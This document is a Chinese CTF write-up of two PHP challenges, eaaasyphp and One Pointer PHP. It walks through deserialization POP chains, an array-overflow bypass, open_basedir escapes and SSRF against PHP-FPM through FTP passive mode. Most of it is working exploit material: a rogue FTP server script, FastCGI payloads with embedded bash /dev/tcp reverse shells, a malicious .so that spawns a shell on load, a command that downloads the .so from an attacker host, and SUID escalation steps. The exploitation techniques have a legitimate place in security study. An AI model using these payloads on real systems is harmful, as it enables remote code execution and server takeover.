文章目录
原理–FTP打php-fpm，fastcgi
漏洞代码
<?php
$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);
这里读取路径viewFile，之后写回文件中。这看似什么都没有做。
这份代码可以用来攻击PHP-FPM
如果一个客户端试图从FTP服务器上读取文件，服务器会通知客户端将文件的内容读取（或写）到一个特定的IP和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的某一个端口。
现在如果我们使用viewFile=ftp://evil-server/file.txt那么会发生：
首先通过 file_get_contents() 函数连接到我们的FTP服务器，并下载file.txt。
然后再通过 file_put_contents() 函数连接到我们的FTP服务器，并将其上传回file.txt。
那此时，在它尝试使用file_put_contents()上传回去时，我们告诉它把文件发送到127.0.0.1:9001(fpm的端口，默认是9000)
那么，我们就在这中间造成了一次SSRF，攻击php-fpm
[陇原战疫2021网络安全大赛]eaaasyphp
考点
-
反序列化–pop链的构成
-
FTP的被动模式打FPM
思路总结
先看到pop链找信息，利用phpinfo，发现了fastcgi，然后利用FTP的被动模式打fpm
通过pop链向服务器写入文件，文件名为FTP服务器位置，而FTP服务器会将文件内容传到一个指定的IP地址，这个ip地址就是fastcgi的位置，加上文件内容的代码执行，从而实现了一个SSRF,反射shell。
解题
直接先看首页代码
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}
这就是个常规的
pop
链的构成。
几个魔法函数：
__wakeup():当调用unserialize时触发
__toString():当类被当作字符串时调用
__invoke():当把类当作函数处理时调用
先看phpinfo():
方法1：
<?php
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
$a=new Hint();
echo serialize($a);
但是需要绕过
__wakeup
PHP7 < 7.0.10：反序列化时变量个数大于实际是会绕过
这种不行，但是我们可以
利用负数就可以绕过
?code=O:4:"Hint":-1:{}
方法2
$a=new Bypass();
$a->aaa=new Esle();
$a->str4='phpinfo';
echo serialize($a);
得到：
?code=O:6:"Bypass":2:{s:3:"aaa";O:4:"Esle":0:{}s:4:"str4";s:7:"phpinfo";}
看到phpinfo有
FastCGI
和这儿
file_put_contents($this->filename, $this->data);//代表着上传文件
想到了利用FTP(文件传输协议)的被动模式打FastCGI。
我们先尝试写入shell
$check = new Check();
$esle = new Esle();
$a = new Bypass();
$b = new Welcome();
$c = new Bunny();
$c->filename = "shell.txt";
$c->data = "123456";
$b->username = $c;
$b->bbb = $check;
$a->aaa = $esle;
$a->str4 = $b;
echo serialize($a);
但是无回显，不行。
FTP的被动模式打FastCGI
FTP 协议的被动模式：客户端试图从FTP服务器上读取/写入一个文件，服务器会通知客户端将文件的内容读取到一个指定的IP和端口上，我们可以指定到127.0.0.1:9000，这样就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包，从而执行代码，造成SSRF
搭建恶意ftp服务器
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',123)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
然后通过
Nxshell
在服务器上启动
python3 ftp.py
(切记需要先cd到当前目录)
利用gopherus生成发向FPM的数据包
python gopherus.py --exploit fastcgi
/var/www/html/index.php
bash -c "bash -i >& /dev/tcp/ip/39543 0>&1"
只要 _ 后面的内容
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH108%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%18SCRIPT_FILENAME%20/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00l%04%00%3C%3Fphp%20system%28%27%20bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/ip/10000%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
写pop链
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Bunny {
public function __toString()
{
if (Check::$str2) {
//echo "tostring";
if(!$this->data){
$this->data = $_REQUEST['data'];
}
//file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
$a = new Esle(); //str1 = true
$a->tmp = new Bypass();
$a->tmp->str4 = new Welcome(); //str2 = true;
$a->tmp->str4->username = new Bunny();
$a->tmp->str4->username->filename = 'ftp://aaa@VPN:123/123';
$a->tmp->str4->username->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH108%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%18SCRIPT_FILENAME%20/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00l%04%00%3C%3Fphp%20system%28%27%20bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/i/10000%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
echo urlencode(serialize($a));
最后就是监听端口然后传入值，直接反弹shell。
蓝帽杯2021 One Pointer PHP
考点
- php数组溢出
- 写入文件，获取webshell
- 绕过open_basedir
- 利用FTP的被动模式攻击php-fpm，绕过disabled_functions
- Suid提权
打开题目，给出了两个文件
user.php
<?php
class User{
public $count;
}
?>
add_api.php:
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){//将cookie中的data值反序列化给$user
$count[++$user->count]=1;//在count数组添加一个单元，并赋值为1
if($count[]=1){//判断数组最后序号的值是否为1.
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
php数组溢出
我们的目的是利用
backdoor
来执行命令,所以需要绕过判断语句。
我们利用php的数组溢出，在不同的操作系统PHP最大值是不一样的，32位上为
2147483647
，64位上为
9223372036854775807
，所以这里我们应该设置count为
9223372036854775806
做个小实验：
<?php
class User{
public $count;
}
$a = new User();
$a->count = 9223372036854775806;
$user=unserialize(serialize($a));
$count[++$user->count]=1;
var_dump($count);
if($count[]=1){
echo "die";
}else{
echo "success";
}
?>
输出:
array(1) {
[9223372036854775807] =>
int(1)
}
success
发现可以绕过，所以构造反序列化值
<?php
class User{
public $count;
}
$a = new User();
$a->count = 9223372036854775806;
echo urlencode(serialize($a));
输出，一定要使用
urlencode
O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
命令执行
所以我们先利用phpinfo验证下是否绕过。
利用成功，找可以利用的信息
disabled_functions
open_basedir:/var/www/html
php-fpm:active
拿webshell
发现没有禁用
file_put_contents
,我们利用这来传入木马。
蚁剑连接成功，访问根目录，发现没有权限，因为
open_basedir
方法1：
绕过open_basedir
参考：https://blog.csdn.net/unexpectedthing/article/details/121916703
利用
ini.set()和chdir
读取文件
backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
flag在根目录，打开文件,没有权限读取文件内容，可能需要提权。
backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));
那先读取其他内容
读取
/usr/local/etc/php/php.ini
,看php.ini中的东西
在输出中我们可以看到
extension=easy_bypass.so
，这是加载了异常so文件，
这儿可以利用pwn的
（不太会）
读取下
/etc/nginx/nginx.conf
的配置文件
看到
/etc/nginx/sites-enabled/*
，直接读取nginx的默认配置
知道了
fastcgi
的端口，并且fpm是active的
利用未授权打FPM RCE
加载恶意so文件
写so扩展
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
编译（linux）上
gcc evil.c -fPIC -shared -o evil.so
将编译好的so文件上传到/tmp目录上，实现加载so文件
add_api.php?backdoor=mkdir('flag');chdir('flag
');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/evil.so","/tmp/evil.so");
开启FTP服务器
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 123))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
上传到自己的VPN上，并打开ftp。
上传文件处理
再写一个接收文件的file.php文件，这个文件用于接收恶意的fastcgi请求文件并写回主机
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
echo($file."</br>".$data."</br>");
var_dump(file_put_contents($file, $data));
?>
伪造恶意FastCGI请求
网上亘古不变的伪造请求的代码，修改几个配置、路径就好
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('?file=ftp://ip:9999/&data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}
$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => 'ctfking/Tajang',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001', // 找准服务端口
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
payload
?file=ftp://ip:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3D%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B0PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+evil.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0ESERVER_SOFTWAREctfking%2FTajang%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
此时ftp建立连接后，会通过被动模式将payload重定向到目标主机本地9001端口的php-fpm上，并成功反弹shell
注意：ftp协议端口之后要加
/
流程
先上传so文件=>再上传file.php=>开启ftp服务=>监听端口=>传入payload
SUID提权
反弹shell后，查看flag无权限
使用suid提权，查找有权限的命令
find / -perm -u=s -type f 2>/dev/null
发现php就有suid，php -a进入交互模式，绕过open_basedir并getflag
mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
总结
利用file.php,将伪造的FastCGI请求（文件内容）上传到ftp服务端口，ftp服务器会将文件内容指定到，
9001
端口的fpm，然后恶意fastcgi请求到了fpm后，加载并调用evil.so文件，实现命令执行，反弹shell。
方法2：
这个方法没复现成功。
利用用pfsockopen这个函数起socket链接发送原始TCP数据直接打通
disable_function 中ban了fsockopen函数，但我们用的蚁剑bypass FMP实际上就有用到这个函数，所以不能直接使用绕过。但题目没有禁用pfsockopen，而且题目的FastCGI服务开在9001端口，需要在蚁剑的文件中进行手动修改。
将下列文件中的fsockopen替换成pfsockopen
\antData\plugins\as_bypass_php_disable_functions-master\payload.js
\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js
还需要
antSword-master\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js
中添加一个
127.0.0.1:9001
选项
步骤：
传入木马，连接蚁剑
启动插件，模式选择fastcgi，地址选127.0.0.1：9001
蚁剑生成了一个
.antproxy.php
然后再次创建一个新的副本，连接到.antproxy.php
直接打开副本就可以得到flag了。（我复现了很多遍，没成功，但是.antproxy.php生成成功了）
原理：
bypass_php_disable_functions
的fpm插件会上传.so文件，然后开启一个新的不使用php.ini的php进程并加载恶意so文件，来达到绕过
disable_functions
的操作。而
.antproxy.php
这个php的作用是把流量转发到新开启的php进程。我们创建新的副本用来接收流量，从而可以得到目录。因为php本身suid有root权限，因此不用提权即可直接读取flag